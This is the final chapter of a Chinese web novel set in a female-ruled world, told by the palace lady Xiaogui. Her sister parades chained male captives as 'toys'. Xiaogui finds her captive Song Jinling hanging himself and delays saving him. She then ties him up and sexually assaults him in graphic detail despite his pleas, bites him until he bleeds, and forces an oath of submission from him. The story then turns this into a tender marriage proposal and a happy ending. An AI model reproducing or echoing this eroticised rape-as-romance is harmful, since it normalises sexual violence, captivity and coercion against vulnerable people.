姐姐拥着两个紫衣男子从楼上走来,只听到姐姐说说笑笑得声音,两个男子如木偶一般在姐姐左右身边。

直到走到近前我才看到,原来两个男子的脖颈系着一根粗大的黑铁颈圈,脖颈处血迹斑斑。姐姐左右执着链子,如同溜狗一般。两个男子满面泪痕,一身紫衣薄如蝉翼,冻得站站发抖。

“小归,姐姐这次在黎针怀谷打败了黎谷主,这是她两个儿子,姐姐送你一个。你先挑!”

“……”我简直是有些愤怒了。

“我一个也不要!”

“小归?”姐姐诧异的看着我,“你这是怎么了?莫非你两个都想要?小妹你真是贪心啊。不过无所谓的,听他们说最近你都乖乖的呆在楼里,给你也无妨。”

姐姐顺势将两个男子往我这里送,我反手一推,结果用力过猛,两个男子如同风灯一般脆弱,一下被我推倒在地上。

“我说了我不要!”

“你这是怎么了?小归,怪姐姐不让你出去么?”

“姐姐,你当他们是什么?是狗还是玩具?”

“玩具啊。”姐姐很平常的说,“不是你说的,姐妹情比金,男子如破布。”

“我我我……我有这么说过?”

“小归,你真的没病么?怎么觉得你不太对劲,是不是总楼上摔下来,还是摔坏了?”姐姐过来轻轻摸摸我的头。我一阵无力,这个人生观价值观我想我一时无法改变了。只好尽力做一些来补偿宋堇灵。

“姐姐,那什么,我想要综徽楼主,也就是堇灵的娘爹的尸首,你能不能给我。”

姐姐露出为难的神色,“小归啊,你不要那么狠,姐姐虽然没有按照你的意思把宋家的人都杀了,但是姐姐有姐姐的用意啊,综徽楼之前也算有点根基,宋家几代的积蓄我还没问出来,你知道楼里出战一次也需要花费不少,咱们要有过日子的心,等我把宋家财宝的地址问出来,那几个人随你杀如何?小归你也要体谅姐姐。不要这么任性么……”

等等等等等……

“姐姐,你的意思是?宋堇灵的娘爹还活着?”

“是啊,可我确实平了综徽楼,杀人不过头点地,你可不许胡闹,更不许你半夜潜进地牢里把人杀了。”

“当真活着?”

“当真。”

“哈哈哈哈哈……”我笑得淫贱阿淫贱。

“小妹,小妹你没事吧?”

“姐姐,你真是世界上最好的姐姐。”我抱起姐姐就吧唧一口。

“这孩子到底怎么了?”

“姐姐,答应我,不要伤害宋堇灵的娘爹,不要刑求他们。”眼睛闪阿闪。

“……”姐姐虽然不明白,还是点点头,“这孩子,真不知道你要作什么。我答应你便是了。”

“姐姐你真好,两个美人都给你,今晚好好玩吧~~”我已经飞奔到我的房间。

兴奋的推门,“堇灵,我告诉你一个好……”

我见他正把衣衫腰带子挂在房梁,挽成一个绳结,见我进来,就急急忙忙的钻进绳套,踢翻凳子。

5

靠,自杀。

一哭二闹三上吊。

不带这么吓唬人的,人家我初来乍到,适应这里的生活已经很困难了的说。

宋堇灵告别人世前的的最后一眼,看到的还是我。他这么急急忙忙的要去死,真是不给我面子。

我飞身来到他的身下,不过并没有马上救他,我在心里默默的数了三下,足够让他知道自缢是什么滋味。我蹲下身子,弓起脊背,做他的踏脚凳子。

他的脚急切地想蹬到实地,于是他重重的踩上了我的颈椎。靠。

我再往上一顶,他就从绳套里解脱出来了,宋堇灵就要摔倒的时候,被我直接捞起来顺手扔在床上。

我站在床边冷冷的看着他剧烈的咳嗽,然后趴在床边呕吐,他太久没吃东西,除了酸水,几乎什么也吐不出来。

还好没吊太久,不然他的脸型一定会肿起来。可他现在这幅样子,也够我瞧的:他的衣衫因为没有腰带而松松垮垮的挂在身上,随意的春光大甩卖,半隐半露出两点红樱,脸颊因为充血和咳嗽而潮红,当然,他咳的太用力,结果眼泪含在水润的大眼睛里如梨花带雨,最重要的是,他在生死之间走了一次,已经自顾不暇,所以,以上的一切风情都是他无意中展现的。

我的身体开始发烫,越来越烫。此时不荒唐,对不起人民对不起党。

只有这样,才能让他臣服于我,不论他的家人在哪里,他都只能属于我,一个人。

我解开自己的裤带,从后面绑住他的两只胳膊,三拨两拨的扒掉他的衣裳,宋堇灵动弹不得,好像一条离开水的鱼,而我,就是那把刮鳞开膛的菜刀。

当我重重的压上去时,宋堇灵只是无助的瞪大眼睛,当他想到我接下来要做什么时,他发出的是一种人间至悲的声音:爹爹,爹爹~~救我和那一晚不同,他以为自己的亲人已经不在这个世界,所以他没了牵挂,只想死,那徒劳的挣扎显得如此的绝望和痛苦。

可惜,他不能死,虽然他的身体很虚弱,该有的反应却很正常。

扳开他的大腿,品尝和舔噬他小腿膝盖窝细腻的皮肤,然后,缓慢的用舌尖一路向上,我舔的很慢,非常非常慢,越往上,他的皮肤就越嫩,我听见他拼命吸气的声音,还有几乎压抑不住的呜咽,抬头看看,他的下身果然已经有了变化。轻轻等待着我的爱怜,我并没有马上抵达他的中心,而是重重的咬在他的大腿根部,宋堇灵根本不耐疼,终于长长的哭叫了出来。

“啊啊啊啊啊~~不要~~”

我慢慢松开了狼一样的臼齿,用手指擦擦,他的皮肤柔软到好像要把我的手指吸进去,我用力按了按,满意的看着自己的杰作,那个被咬得地方出现一个殷红清晰的牙印,微微翻起,渗着点点血丝,那里的嫩肉,除了我,任何人都不曾染指,他低低的哀哀的哭泣,一抽一抽的,竖起的嫩芽微微的一颤一颤,我突然觉得,男人真是一种脆弱的动物。

我居高临下的看着他,这样的感觉,是占有,是侵犯,是粗暴的凌辱。

“宋堇灵,我告诉你,你是我的人,我让你做什么,你就得做什么,我不让你做什么,你就不能做。知道不知道?”

他恍惚的摇摇头,给了我再咬一次的借口。我再次狠狠的咬在原处,宋堇灵一声惨叫,我感觉嘴里充满了血的腥甜。

“你想死,可以,我今天就干死你。”

我感觉准备好了,一个挺身,完全吞没他的分身。一上一下有规律的动起来,每一下动作,都又深又重……房里用来记时的水漏一滴一滴的滴下水滴,不知过了多久。

“不要~~不~~”宋堇灵已经被折磨得近乎虚脱,冷汗让他的乌发滑腻的贴在额头上。

“饶了我,我要死了,我不敢死了……啊,你不要,我不死了,我~~啊~~”他混乱的哀求,撞得分不清东西南北。

“呼呼,你跟我说,我说什么你就说什么!一个字也不许错!”我一边抽动一边说到。

“~阿~阿~我~~知道~你~~慢~~慢,好快,啊~”

“说,我宋堇灵~”

“呜~我宋堇灵~呃~~”

“我宋堇灵在此立誓,愿意侍奉小归宫主,身心都属于小归宫主一个人,嗯~~恩~~说!快说!”

“说,我不会轻易的死,不放弃自己的生命。说!~”

“我~~我,宋堇灵~啊~~,疼~~,我宋堇灵立誓~身心~属于小归宫主。不死~~不轻易死~~啊啊啊啊啊啊啊~”

他被我逼迫着,刚刚磕磕绊绊的说完,就绷直身体,扬起脖颈,最终到了那极点。

纷乱的床褥上洒下了他的斑斑体液。他失神的躺在那里。我也累了,趴在他的身体上喘息好久才缓过来气。

我捉住他的手,轻轻接开他被捆住的手腕,“堇灵,我要告诉你,你的娘爹,并没有死。但我再不会用他们来要挟你,我会好好待你,也会照顾他们。我想要你。所以,我要娶你。我要你做我英梓归的人……堇灵,你愿意嫁我么?”

宋堇灵听不懂一样的看着我,我暗自担心是不是又做过火了,眼看着他的眼泪又渗出来,大颗大颗的滚落在被褥上。

我的心,没来由的抽紧,又砰砰跳。

终于,宋堇灵伸出手臂,慢慢的触摸到我的脊背,然后确认一样的搂紧,他什么也没说,只是轻轻闭上自己含泪的眼睛,献祭一样把嘴唇递上来。

我低下头,只是轻轻含了一下他柔软的唇瓣,吻得很浅,却异常甜蜜,仿佛这是我们第一次接吻一样,甚至还带着一点点紧张。

我笑了,虽然我和宋堇灵,一切的顺序有些颠倒,但是,真不赖。于是我再吻了一次,感觉依然不赖。宋堇灵再次没有拒绝,安心顺从的微张小口,承受着我的吻。

我拥着他睡去,心下一片踏实。如小船靠港,家的温馨。

转天到了日上三竿,我们才刚刚醒来,虽然宋堇灵刚一睁眼时,还是带着惊惧的样子,但是似乎想到了昨晚我的承诺,嘴角漾开甜蜜的笑容。

他浑身酸软,动弹不得,我给他细细穿上衣裳,套上贴身小裤,发现他的大腿咬痕已经肿了,我暗骂自己禽兽,伸手轻轻抚上,他猛地被触到,又羞又怪,用手去挡,我笑道:“昨晚,一时发狂,弄疼你了,对不住啊。我这就让宫里的大夫给你上药。”

我站起身来要走,他死死拽着我的衣袖说:“别,别去~”小脸一下竟红透,“这种地方,怎能给别人看。”

“不能给别人看,只能给我看,对不对?”我喜欢看他这个样子。

“你……你这……你这个……”他支吾半天,大概是想找一个合适的字眼来骂我,见我直勾勾的看着他的大腿,马上用被子挡遮,过了一会才问我,“你……你能不能带我去洗个澡?”

“行,当然行,我这就带你去洗澡。洗完了就带你去见你娘爹。”

“真的?你,肯让我见娘爹?”他十分惊喜。

“当然是真的,不过,你叫我什么?叫‘你’可不带你去。”

他知我的意思,低下头轻轻唤了声:“阿归姊姊~”

天籁啊,忍不住捧起他的脸,又是一阵热吻。

我一打横,把他连人带被子一齐抱到了屋后面的沐浴室。

一路上遇到认识不认识的宫人,宋堇灵知挣也挣不动,索性紧紧勾着我的脖子,鸵鸟一样把头深深埋在我的怀里。

路过姐姐房间,正巧姐姐春风得意的从房里出来,我拍拍宋堇灵的屁股,告诉姐姐,我要娶他。然后扬长而去。


【完】